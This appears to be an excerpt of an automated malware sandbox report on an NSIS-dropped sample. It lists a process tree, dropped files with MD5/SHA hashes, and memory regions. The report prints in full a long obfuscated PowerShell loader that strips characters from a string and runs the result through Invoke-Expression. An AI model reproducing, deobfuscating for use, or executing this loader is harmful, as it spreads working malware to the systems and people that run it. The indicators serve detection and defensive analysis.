AAPy5 ND S5ImCSn0 SFFa1Al2 B0JeF I7De4Fo7TaCNo5Sk6Hj5PlCMa5DuBKa4BlAPr4Ho2 S0Ar1Ca7FiDgr5BaAAc4xo1Fl5 NB R4St6Un4Sk2Te4UeAPe0Op1Er6Ti6Un4Da1Fe5AnBRe4CaASa5roDKi4Pr0Em5SuFUd7DmCDi4 DAOv5CoDTe5Fo9 r4 S6 B4BlCSt4PhAAr5PoCPa0In1Di6Ov2 E4StEra5VaD P5HyCYa4de7Sk4MiE k4No3 k7Ko2Po1 B5 a1Be5 F6 O8Ce4EgAro5 FBHa6 OBSe4prA U4Ve3Fa4 MAVr4Is8Fa4HaESk5 EBRe4 SA S6Re9Fj4Fr0 s5HiD D6sk9Me5SyADr4Wh1pa4 uCUn5 PB T4Pr6Bu4Kl0De4 A1Fr7UnFHj4St0 C4Pe6En4Ud1 p5 TBSu4DeAKo5KoDSn0Sk7Ak0Au7Hu4su9To4 P4Gg5VeFsm0 LFSm0HeBPa6SaBno5Ru6No4AnDPe5PhBCo5MeDPu5Or6Af4Fa4El5UpB W1ElAPl1ImFTi0EqFFa0BrBOm6AnBKl4ReAUf5MaF H4TyEHa5 gDIn4Vi3Tr4 A6Ls4TaEUn4Pr2Ak4UnASa4Ox1An5DiBBr1 FDPr1puBom1Pl8Dr1 hBBe0Pe6Pu0St3in0 PFUn0Fo7Sp6ex8St6JeBTu7HnBTi0ThFju6saFPs0Do7pr7Ty4Ov6Ub6In4Zi1Sh5HaBCy7MyFSo5RiBSu5ChDRo7Gr2Tu0Bi3Bo0FoFSc7Py4Ir7 LApl6Mo6Kv4mo1 E5GaBAf1unCVe1HiDLe7Pl2 R0Mo3Qu0ThF K7 O4 b7FoAre6Sp6Le4Vi1Tr5UnBPr1 PC K1 GD U7Br2Ud0Ev3gr0 RFLo7 l4Mi7 TASi6Un6Ca4Re1Hi5 PBun1SlCRo1PrDCl7Va2ho0be6Pr0PoF d0Ma7Ec7 B4Sy6Ce6Af4Ti1 B5FrB B7 KF v5MeBBu5EsDDe7Co2En0Bl6Pe0 O6In0Ch6Gr'Cr;Po&Co(Di`$DrD DeRapOraMerBllefiSpaPam GeMinSttdi2Il4Pa7 S7 B)Ri U`$chNSuiMekInoHylMio CsBa8Cr6Di6 A;Gr`$MaEComTimAciPokRasto0Su1Ma Hi=Co DiEHomSlm siChkOmsSu0St4 F Sc' M0 SBKa6 T7Wr4Re6Up5BaBUs5lfB O4DoAOl0FoF B1Ce2Ex0 DFRu7Aa4Fo7 TC E5Sl6Re5MeCSa5WeBFa4PiASh4Ba2Co0Rh1 H7TiDPr5MoAhy4He1 W5FoBAg4Be6Ch4La2Pl4DeAFo0Se1Fe6Le6 M4La1Hi5 ABRe4OvAMo5 SDPa4 r0 E5ImFsn7VaCFe4foAre5KrDKo5Dy9Un4to6Lo4 CCLo4UnASu5AfCBi0Ud1Va6Fo2Un4 EENo5foDGl5ReCNa4Mi7 A4MiELy4Me3Ar7Wi2 R1La5 B1Si5Ar6Ka8Po4MaAPe5SkBEk6boBTa4MoA R4 L3De4MiAPr4No8Sv4EpEPr5TiBBg4trApr6Ma9 F4Sm0Co5spDVa6se9Sk5PiAGe4Ud1Or4AnC M5AvBDe4Ne6mf4 S0 P4In1Su7SaFCl4Fl0Da4 B6Ho4Sp1Br5woBMi4MeAAb5KbD t0 S7Dy0Zi7 P4 O9Fa4Li4re5LyFer0lgFPh0 WBCl5SoDRe4DiETv4St7Ma5 BD U4 pEFa4Eu7ad0IdFUn0SnBSn6RaA S4Su2Un4Lu2 p4Fo6Ud4Tr4Lu5MeCSm1 DFco1KaF A0Fo6Ca0Mo3 D0LaFVa0Om7To6ve8Ne6InBHa7HeBKi0ErFSu6EkFSc0Sc7Gr7Ir4He6fo6Ve4Tr1Na5uoBPa7AfFSy5UnBAl5ChDDi7Pr2 Z0Ek3He0AfFKi7Ha4 G7 DAAr6De6Po4 H1Ov5 DBRp1HiCGe1SiDRi7Ni2Se0Bl6Ac0 RFKr0 K7ca7De4Re6fi6Bi4Pr1op5UdBAu7 LFLe5FeBud5LiDUa7Si2Sc0In6Pu0Os6Bl0To6Er'Lo;Or& L(ne`$NaDTreKmp Ea Frinl CiMoaAcmFie UnNotCo2 r4Ro7Be7de)Da Sp`$SaElumLimDoiFrkdysHe0Kl1Co;Ar`$SiEcamBam SibekSus C0 P2fo Sk=Wo GyE RmStmPuiKik Ls h0 U4Ps Fi'Si0BoBSk7FrCSc4Ar7Ca4CrELa4 A2Ma4MeESc4Hu1In4NoASb5 KDNi4FoA t4fl1 L0IoFMu1bu2Mu0HuFNo7Go4Ja7StCDo5Un6Ce5ReCPa5 HBMi4 LAWe4Du2Un0Ne1 B7weDUn5UcAKa4Kn1Pr5IbB F4Tr6Re4at2 P4PrABi0Fo1Ba6La6Fo4Ma1La5PuB B4AmA f5 BDNo4Bo0Ap5DiFRe7RiCOv4PeA G5 ODAd5Am9Wi4Fo6Pr4 FCSv4vaARe5FrCEn0 P1Uf6in2Tj4 BEcu5HoDSc5 PCTu4Co7Mu4LuEHj4Un3 R7As2Tu1Vi5Es1 B5Ls6 D8Ra4ShAse5PnB S6CoBVa4 aAbu4lo3Co4avAMi4Pe8Un4SwEUn5BrBSa4AvABe6La9In4Ma0An5IsD T6 M9Po5FlA U4Am1De4QuCCo5PhBAk4Un6Gr4go0Be4Un1Fi7MiFku4Ul0 F4Te6au4Fr1Fo5FlBNo4FoACu5StD R0Fo7Th0Po7 K4Ga9Co4 P4 F5BoFDr0StFSt0FrBBa6ObB H5Fl6te4HeDHe5FlBFl5AlDGo5 S6St4Su4Pa5soBSe1RaA G1OpFca0 NFNs0BrBVa6FuAma4Bu2Mr4Pa2Up4Pa6Te4An4ho5ViCMa1ToFUn1tiC c0No6Fl0Er3Si0 FFVa0St7 L6Ka8Ar6 LBCh7NoB O0AdFAf6 UFNo0De7Wo7 D4hv6el6st4Ac1 F5enBHj7HaF K5PaB A5ShDla7Be2Sy0Hu6An0 sF F0 b7Gr7Se4ud6Hj6In4Pr1Gi5ExBRa7UnFSe5BaBBu5DeD D7Pl2Ex0Sa6Ha0Ud6Fe0 M6 E'Cu;Pl&Re(Ia`$AfDDeeVopUnaOsrUdlPoiFoapsm MeKnnHjtAc2Se4Pe7Mi7Su) S Sh`$BiEUnmPsmPai GkHosMi0De2No;Br`$SoNCoiPlkInoRel so SsEn8Fy6 G7Re Ur=In FlEKamBomFiiStkLasUn0 O4 P Ne'Un0 HBSe6 p2 E4HyEki5MaC C4Ma4 U4Pr6Sk4Ou1Vi4St8Di4 SAIl5No9 n5PrDAu4diABe5VeDBi5BeC A0 UFFu1Qu2 L0PiFno0stBVi7SiCCr4Ap7Ki4 UEFe4En2 K4MeECh4Br1Re4TyA R5VaDBa4BaAFr4Ac1Ar0Or1 S6Ar6Un4Gr1Sa5Ha9Pe4Hj0Uf4 t4Of4 UA e0Sv7st1StFOt0Oa6Ho' C;va&Ta(Be`$OuDSvekap DaDerpolGliWuaCumMeeLanVitMi2Fo4Tr7Sh7 E)Al Ca`$MaNpoiDik Ao mlSyogasGr8Li6Di7fr;ro`$ CN HiTrkKloAfl WoCusAl8 G6 S7Er Ka=Ka etERemDmmRui HkMasTh0 R4Ji pe'Ku0BrBPu6St7Je4Op6Ut5ApB B5 EBBa4hvADi0Fl1Br6Ov6Sm4 E1Cl5No9 C4 S0Kv4Gr4Su4reAAi0Ve7Ge0FoBSk6Te2 A4SkEVa5ToC N4Dd4Da4 S6 p4Ef1Te4Et8Vu4ShAKo5as9 T5SeDPr4ReAEn5DiD K5 ACAf0Ba3Sk0caFdu1ShFma0Ko6Sa'Op;Ko&Fu(Ho`$ EDUseHip SaSkr IlOmiOia SmFleUdnBltSi2Fl4 S7 C7St)Kh br`$SyNDeiTwkSloExlReoResUn8Ar6Ku7Si;Un`$ObGVenDeo FsfotAdicakBieErrNoePanBrsNo Pe= J uf SkAlpNo M`$TeDCheMypLiaTer ClBeiPraSemboeUnn LtBr2Gu4 B7St5Pa De`$CrD ie HporaPirDel Bi UaKom BePrnNat R2 M4Am7Ca6Ot;In`$BrN SiStkProAulSoo MsPl8Ta6Co7Le R= S TaEstmSimLoiAlkSqsKl0Ul4Mi Mb'ov0HiBRe6BuDRe5StD F4GsAHu4Ga2Un5SkC t4brA L4Op3po4 AESc5PaDLe5 F9Zi4deAEx5 TD P4Pr1Be4vaAUd5ReCDd1UnCIn0reF T1Se2Co0SeFOm0EvBSa6 R2Cu4HiEFo5 UBMu4 FAAf4Be2Fe4OvEMe5 LBUd4Un6Br4 F4si4 LDHj4En8ba4NoABe5 UDAn5ArCce0 O1 p6En6Ka4Ko1Ug5 N9Af4Ud0St4Pa4Ak4FoAsp0Be7Br7 F4Un6 p6si4He1 S5StBRe7KiFCh5FaBOn5CoDPe7In2Fo1Un5 D1In5De7Pr5In4boA f5AdD A4 O0fo0Pa3Du0ViFUi1ToAGr1Ti8mo1OpACo0Do3Kl0 HFPu1 tFNi5 H7Pe1GrCPr1AlFLu1 BF S1EcFBy0Mi3He0KlFKi1 AFGe5St7ma1PyBSc1StFMa0Bo6lf'Ty;Pr&Ar(De`$UdDLaeSapfiaBerPylIniSlajemLeeAcnNatNo2Ls4Ae7Av7Mi)Pi Ce`$KaNSuiBekseoStlDiofis S8 S6ra7 E;Bu`$WeNPriPrkPloStlUnoHosUn8Eu6ar8 b Un=Ek GiEImmKnmTriPok PsDy0id4Un Y'sn0 BBNo6He4Be4Ab4 B4Ar4In4MaATe4Gy1In4en4Be4MaAEl5 SDMe0 SFFl1ne2Va0UhFOp0ReB K6Be2Is4 LEPe5SuBAf4 BAUi4Cy2Ka4NaEPr5AnBze4 G6ad4 G4 A4 CDEm4Ga8St4frAAl5BiDHo5BiCTo0Sp1Be6Sc6 I4Su1Sm5Gr9Fr4Ph0 S4Sp4Op4 EARe0 S7Th7Dm4 B6 D6De4 B1Op5AbB A7PrF A5VeBBl5phDTr7 M2Su1So5 P1In5St7Su5Tr4 RASe5hjDdy4Te0Ci0Ma3ar0moFEp1RiC C1 ABSt1IcAma1 SFEp1FlFSy1Op9An1ShFth1un7Le0st3to0 LFIn1SuFSl5Sp7Sy1 TCKn1biFIl1vaFIm1HoFSl0 V3fl0 BFBe1CoFFo5Ob7Dj1 DBOp0My6Pl'Si;Kr&In(Sj`$BeD ReNapToaParPal AiDraJemAbeDinAdtTi2 D4ov7Kl7 a)Fr Al`$DaNGoiPekBio GlCaoPlsfe8Sp6Se8Pa;En`$MoBLar Ge BmPesGrenulBraRerMavFeeUjrstnMae BsTe2Fo=Hy`"""La`$UneFonTivAf:ExTFlEImMFiPTu\TosEntAluOtkHikSuaSltBarEreRerwh\ Gl Fs UeDrvCeaObnVasArkSmeWhlIni TgbghSveQudDeeBerPinUne S\Be`$TrITuNNoSMiTFrDDiI SRNo\ CUOppBipDeeStrCosMe.UnArenAnnKr`"""Re;La`$DeN RiInkTrorelBeo Ss E8Ud6Sp9Sk By=Bu ElEOlmOmmCriNokBosUn0 O4La Pr' C0LiBCo6Sk1So4 B6ho4De4Fa4De0Op4Ca3Vi4Kn0Tr5 FC T1 H7 A1El9Co0KlF T1Vi2 F0 GF R7Sh4bo7YaCKu5No6Be5OrCDa5NaBRe4 BAWe4Re2Km0Va1Ko6Ti6Ak6Ku0Gr0Ut1 O6Up9Bi4In6In4Re3To4ShA S7Fi2De1 F5Ov1Ro5Lo7PaDCh4CoAPo4 SE H4 UBGr6RsERa4 M3Te4Br3Fl6PrDTa5 c6Ba5RaBBr4AlAIn5opCBa0Ba7Be0 FBVi6SlDfa5MyDTe4FiA B4 S2St5GoCGe4SeAku4Kn3Pr4SyESl5MaDHa5Sp9Tr4OuAVe5 FDGe4en1Ov4ReA K5SlCgo1noDAm0Cy6in'Pa;Te&Ap(Ge`$PrDCreUnp AaDorStlStiTea TmNoewon KtNo2De4St7Sp7St)Ha Li`$FuNFeiDikHeoDul DoMasKo8Fr6od9Af;Ba`$InFSpoUrrStsAftHarDrrDeeVolTesJue orSmsPl0Be Re= T FoENomlam Bi Uk SsIs0Qu4 P ch'Gi7 S4 s7BrC F5Sw6Au5DeCSa5CaBAg4OpAUn4Tv2Pa0Ov1Mi7KoDDi5ToAUn4Ul1 A5NaBex4Dm6Ut4Hg2 J4SoALi0 M1No6nu6En4Af1Br5SlBRl4ThATr5svDRe4sn0 M5FeF D7 tCka4VaABy5AfDTu5St9Em4In6Ar4FaCWy4EkANa5ReCMi0 D1Lo6Br2 U4 HEIn5GlDOe5SpCDa4Ro7wi4 TEMc4Fo3In7 A2 F1Am5Af1Ud5Mi6UnC V4Pa0pa5 UFSp5 L6Ar0ga7 P0IvBEc6Sa1St4De6Te4Ci4De4Re0Tu4Op3Sl4Hi0Ki5SeC H1Ha7Vn1pe9Va0Si3Fl0DiFId1HeEDo1EaF L1 LDOr1NeB I0Wh3Sy0YvFBa0WhF E0AaB S6HaDEn5YeDCo4HiAPr4Et2 A5EkC L4 SAFo4re3 F4SuETh5VeDSa5te9Si4DiAHe5OvDTo4Sp1St4FoABo5SpC M1 ICDu0Es3 G0SaFVe1TeA B1si8 r1GlADe0 C6bi'El; A&Un(La`$ ADFleTrpUnaBor UliniSuaBamHje Rn CtCa2Yo4Un7St7Fo)Ny Co`$ PFInoInrMasAftUnrRorGre TlDus TeMar CsMi0Ma;Di`$TnOStr OiLaeSvnLatIniTezTra StMoiEroUonAlsde=Pr`$SaN Oi BkImoPel MoFls S8Wa6Do. DcScoOnu PnAgtEn-su5Li7Su5Li-Tu1 U0Fe2Ua4 K;re`$AaFWooMirSls Ht UrafrUreTblResSteRdrSksDi1 t Su= F AEFlmPam Ti TkHosBo0 K4Om Jo'ac7Eg4Ud7RaCCl5 U6 S5KoC D5geBOv4 BASc4Un2Pi0co1Ri7PaDns5FaATr4bo1Ko5MoBTa4Hf6Ma4Ig2 R4PoACa0Af1To6Kr6 S4ua1Co5ClBAg4 IASe5SkDTo4ad0Di5TvFQu7 kCSq4 BAPa5NoDCe5 C9St4Pa6Ba4 DCNo4SkA O5InCGr0So1Te6Bi2Ud4EnELo5TvDau5OrCCh4Ex7Sk4UdEFo4 D3Fe7ma2fa1Ko5Aa1 O5Cr6UsC O4We0St5FiFBe5Ox6Go0Ju7Pr0ShBsy6br1Ko4Ty6Re4Di4Ac4St0Hi4St3 A4de0Te5TiC U1 A7 H1 A9Do0 Z3Ri0BaFNo1HiABo1Fi8Fi1IdAFl0 C4 U1VaEOu1KaFNe1BeD S1DaBPe0Op3Pu0GrF e0FoBPa6fa4ar4Fo4Be4Mi4Ch4InAUn4 S1Ta4My4Be4 CAps5OvDFo0 P3Ga0UdFEm0VkB n6Kn0Co5TeDSk4Bo6Va4 UARe4Fr1Br5 UBco4Ri6Sk5Un5 B4 SEUn5LaBSl4Ci6 a4dr0Hy4Be1Ex5 SCRi0 O6Lo'Im;Sp&Dy(De`$SkDBeeFap Ba VrHalTri DaOfmIseStnUdtTr2Ho4 S7 J7Fa) N Wa`$FoFReoprrResAftTorRerPae KlCossaeFrrTrs M1 V;Ge`$NoF EoSvrOvsCatPar Br CerulfrsGreSprHosJo2 d Gl=Ti FlEMem PmDsiKikRasFo0Nv4Fi Sn'Bo0 HBUn7HaB K4UzETy4Lu6Fr4EdELo4Fu7Gi4SaEpa0 SFBe1Et2Mo0PhF R7Ak4Pe7RoC A5Co6ov5OrC N5StBSk4 WARe4Ca2Va0Or1hy7PaDGr5EgACo4Br1 S5TiBDu4 M6 F4ma2Su4KrA H0Na1In6 B6Bu4De1 A5JuBFi4JaA A5ExDFo4Sn0Bu5 FFBr7KaCBl4BeASa5 LD E5 R9Me4Ra6 N4KlCce4 NAHo5OvCDe0Pa1 k6 D2Aa4 PEFr5AfDNo5 FCSu4Co7Am4TuESe4 S3 S7La2Us1Nd5pr1Sp5Ab6 s8Pa4UnARi5 RBde6 JBSt4HoADo4Un3La4PeAFu4Mu8Ba4BrEGo5ClB S4InABa6un9Aa4Li0La5 RDBr6Se9Af5prAEn4au1lo4OvCPa5TuBHy4 K6Ut4ka0Sk4Pu1Co7kaFMe4Fo0Pr4Ba6Su4Ti1Ca5AfBJu4SkA V5 TDDr0Ke7Ko0Es7Ba4 I9 E4Ur4Mi5PaFSh0StFMa0ReBOv6Gy2Se4La0Su4 TBNo4PuARe5 RDUn4Te1pu4No6Vi5DaCUn4HuA U5ExDch5ApCGu0opF K0EsBXe6Sm0Be5Ud9 I4KrAHo5OrDka4Al8Ro5IrD D4Kr0Ma5Hy8 K4Me1Go1 ADEk1DaBSe1Sl7Ki0Re6Se0Ru3Wr0viFVe0 M7Pr6 R8Wo6 MBga7SmB M0LaFst6PrF H0ov7 S7 S4Ba6 O6Br4In1Ta5 KBTa7MaFHa5 KBTr5AeDGe7Bl2Tr0Ri3Ir0 MFOp7In4Gr6Ca6St4Un1Kl5UhBIn7 JFAr5LaBCo5 SDIn7Er2Ve0 G3In0HjFSk7Su4Mo6Ln6 D4ha1Ba5foBEm7 CF A5 SBGu5TuDBo7Ca2De0Co3sp0 CF R7su4 V6Et6Ob4Ur1Ib5AuBOp7 PFFl5TiB c5CaDHa7De2 T0Un3Ly0DeFve7si4Hi6Ty6Ti4 H1Ir5AbBCh7 DFAg5 ABOp5ScD T7 R2co0Su6In0ChFUn0To7Re7Fl4Pe6Me6 s4ps1 F5BoBSe7 EFOd5CaB S5TeDRr7Ca2Ba0Dy6Ke0Co6Sa0At6ov' P;Pr&Sp(Er`$CoDLie SpTaaMirOplsoiBea ImSae Kn EtBe2Ti4 S7sm7Bo)In Je`$RaFTloEdrEssTitDirGlrAfeExlAdsKaeKbrJesBe2Ca;Ki`$coFStoBrrDos MtForFor BeGalKisLaeFrrprsKu3Fy Ov=Kr GeEDimAmm UiUlk AsAr0As4Un Sv'Ta0LiBli7PrB B4BuEsl4Bo6Ad4KaENa4Up7An4CoE S0En1 D6Re6 S4Te1Co5Ka9em4Ir0 U4 L4 S4GeAJo0Py7Fu0SnBFo6CaDAf5 aDMo4InAOo4Sp2Hu5MaCNo4 KAHy4Do3pn4SuESi5TiDBi5ti9He4 EABe5caDSn4Ou1Sv4ReADo5AfCSt1MiCOv0fa3 d0 KBKo6Ba4Do4Ra4Di4De4Cy4BlAde4Pa1Un4 s4no4MuAPa5FlDTo0Ex3 D0FiBfa6Bo8Or4 F1 T4Be0Sl5AfC R5AuBAu4Me6no4Dy4Ma4UnACo5QuDPa4VoAOp4Pa1Kv5BrC P0Pr3me1myFBe0Ko3Og1ViFDe0tr6 F'Un;On& B(He`$ HDOreEmpAmaLar Il EiKlaSpm MeFonGltSt2 S4 B7Wi7Be)Un Bo`$FeFUnoJar EsPatEmrArrVieTolBlsRieKorUnsEn3Le#fu;""";function Forstrrelsers8 ($Snathe,$Dagbden) {&$Forums0 (Forstrrelsers9 'En$ SSConMea VtLihNoeFo Ve-MubElxOpo IrGr Up$VeDSiaChgspbRedSaePln A ');}function Forstrrelsers7($Antroposofs) {return $Antroposofs.Length;}Function Forstrrelsers9 ([String]$Nedtoner) { $Ynglingeholdets33 = Forstrrelsers7 $Nedtoner; For($Jongleringen=2; $Jongleringen -lt $Ynglingeholdets33-1; $Jongleringen+=(3)){ $Emmiks = $Emmiks + $Nedtoner.Substring($Jongleringen, 1); } $Emmiks;}$Forums0 = Forstrrelsers9 'TeICoESyXKo ';$Forums1= Forstrrelsers9 $Naturfredningers;&$Forums0 $Forums1;<#Vurderingers Unwriting Metermaalene Fimet #>;"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3436
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3436 -s 2124
          4⤵
          • Program crash
          PID:2320
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3436 -ip 3436
    1⤵
      PID:1228

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b0uxkoyf.31i.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\nsn422A.tmp\AdvSplash.dll

      Filesize

      5KB

      MD5

      6cb965759d596fa2d9e0415ec11e6267

      SHA1

      1558fc2fdd7db7dd3771cde7d7a9286f1419add9

      SHA256

      db39b54242712a614720261b606a12c90ea095fc8577041f63491e21178c2241

      SHA512

      a11471a3aec4ae2dbe8f76e605be4d35f3061e4b1998ba66486dfd2cf2353aa3e45106ffe57524253c6ac9bd33e297d44fa79d7f08643f25a6d4feb9f6284753

    • C:\Users\Admin\AppData\Local\Temp\nsn422A.tmp\Banner.dll

      Filesize

      4KB

      MD5

      3a8c08f8e9849a1cc9479bc9954bb2f1

      SHA1

      4b6304e0b8cc17994e27e7c4a44996dfd8a7cb53

      SHA256

      5b1c8ef9018528ef79b591637e8dbbbf5aff98a694f2b4e41efbe8e3538c00e0

      SHA512

      835a6e326f00110274e498df466904e2ea8950ca7c2bd092286b83bb035ea44a3a188c65074f5ff7195aa307ee5004ef4da1cc81174077ea184c23084dbae5da

    • C:\Users\Admin\AppData\Local\Temp\nsn422A.tmp\nsDialogs.dll

      Filesize

      9KB

      MD5

      f5b0c649b0cfc103fb113d013d48cacb

      SHA1

      f89286966000cb053b7e94100c76ec6d1129af07

      SHA256

      a87bd092fa5bc00661525455b9f866b68c14c29224520c4e38f56f47234cfc1e

      SHA512

      e184101a03ee1c8896efb0029a02a23e46d422bc0f250ef15349c8214d44156afe2b5f739d8a2339bc2d1c05984fc55651c36c71897cd4b14f41dd37a25cfb01

    • C:\Users\Admin\AppData\Local\Temp\stukkatrer\lsevanskelighederne\Anfgtelige.Car

      Filesize

      24KB

      MD5

      6ea98b395eb5a816192a219666100312

      SHA1

      26a10664d10411cd0f4b830e106c7cf684899661

      SHA256

      3e324cbb1596783c32cc107a54b5f4ef8d3dfac05a68c884ca1385a0b34404de

      SHA512

      53c1ba15ebc3f4655cf5e102c50bbf772205d075e75dbc817983aa9306b981296b621cb55bee90a7d2fa604b2b3d748bf68f450fcf54f4bebfb913452b952ede

    • C:\Users\Admin\AppData\Local\Temp\stukkatrer\lsevanskelighederne\Uppers.Ann

      Filesize

      361KB

      MD5

      45d55d988e03c144ec765479702a2d89

      SHA1

      192be249b3e5405d65d1c12d39e4843a1a011784

      SHA256

      0bc695167e1d9cc6c8b01980366163b66f3e55f81dbb011ab8ca66a8986e4113

      SHA512

      c4edacaa0576da2b68eef15aaa0c9e1152867303c2b818a450a9d2e430c21b4e639f312af8a9a52347dba05c3a1d7bdcfb659bbfafc55a7f706305eea8776560

    • memory/3436-67-0x00000000751C0000-0x0000000075970000-memory.dmp

      Filesize

      7.7MB

    • memory/3436-65-0x00000000085F0000-0x0000000008C6A000-memory.dmp

      Filesize

      6.5MB

    • memory/3436-53-0x00000000751C0000-0x0000000075970000-memory.dmp

      Filesize

      7.7MB

    • memory/3436-55-0x0000000004E90000-0x0000000004EA0000-memory.dmp

      Filesize

      64KB

    • memory/3436-54-0x0000000004E90000-0x0000000004EA0000-memory.dmp

      Filesize

      64KB

    • memory/4364-45-0x0000000006130000-0x0000000006484000-memory.dmp

      Filesize

      3.3MB

    • memory/4364-51-0x0000000007D30000-0x00000000082D4000-memory.dmp

      Filesize

      5.6MB

    • memory/4364-46-0x0000000006730000-0x000000000674E000-memory.dmp

      Filesize

      120KB

    • memory/4364-47-0x0000000006760000-0x00000000067AC000-memory.dmp

      Filesize

      304KB

    • memory/4364-48-0x00000000076E0000-0x0000000007776000-memory.dmp

      Filesize

      600KB

    • memory/4364-49-0x0000000006C00000-0x0000000006C1A000-memory.dmp

      Filesize

      104KB

    • memory/4364-50-0x0000000006C80000-0x0000000006CA2000-memory.dmp

      Filesize

      136KB

    • memory/4364-34-0x0000000005FE0000-0x0000000006046000-memory.dmp

      Filesize

      408KB

    • memory/4364-35-0x00000000060C0000-0x0000000006126000-memory.dmp

      Filesize

      408KB

    • memory/4364-33-0x00000000056F0000-0x0000000005712000-memory.dmp

      Filesize

      136KB

    • memory/4364-32-0x0000000005940000-0x0000000005F68000-memory.dmp

      Filesize

      6.2MB

    • memory/4364-31-0x0000000005300000-0x0000000005310000-memory.dmp

      Filesize

      64KB

    • memory/4364-30-0x0000000005300000-0x0000000005310000-memory.dmp

      Filesize

      64KB

    • memory/4364-29-0x00000000751C0000-0x0000000075970000-memory.dmp

      Filesize

      7.7MB

    • memory/4364-28-0x0000000002D90000-0x0000000002DC6000-memory.dmp

      Filesize

      216KB

    • memory/4364-70-0x00000000751C0000-0x0000000075970000-memory.dmp

      Filesize

      7.7MB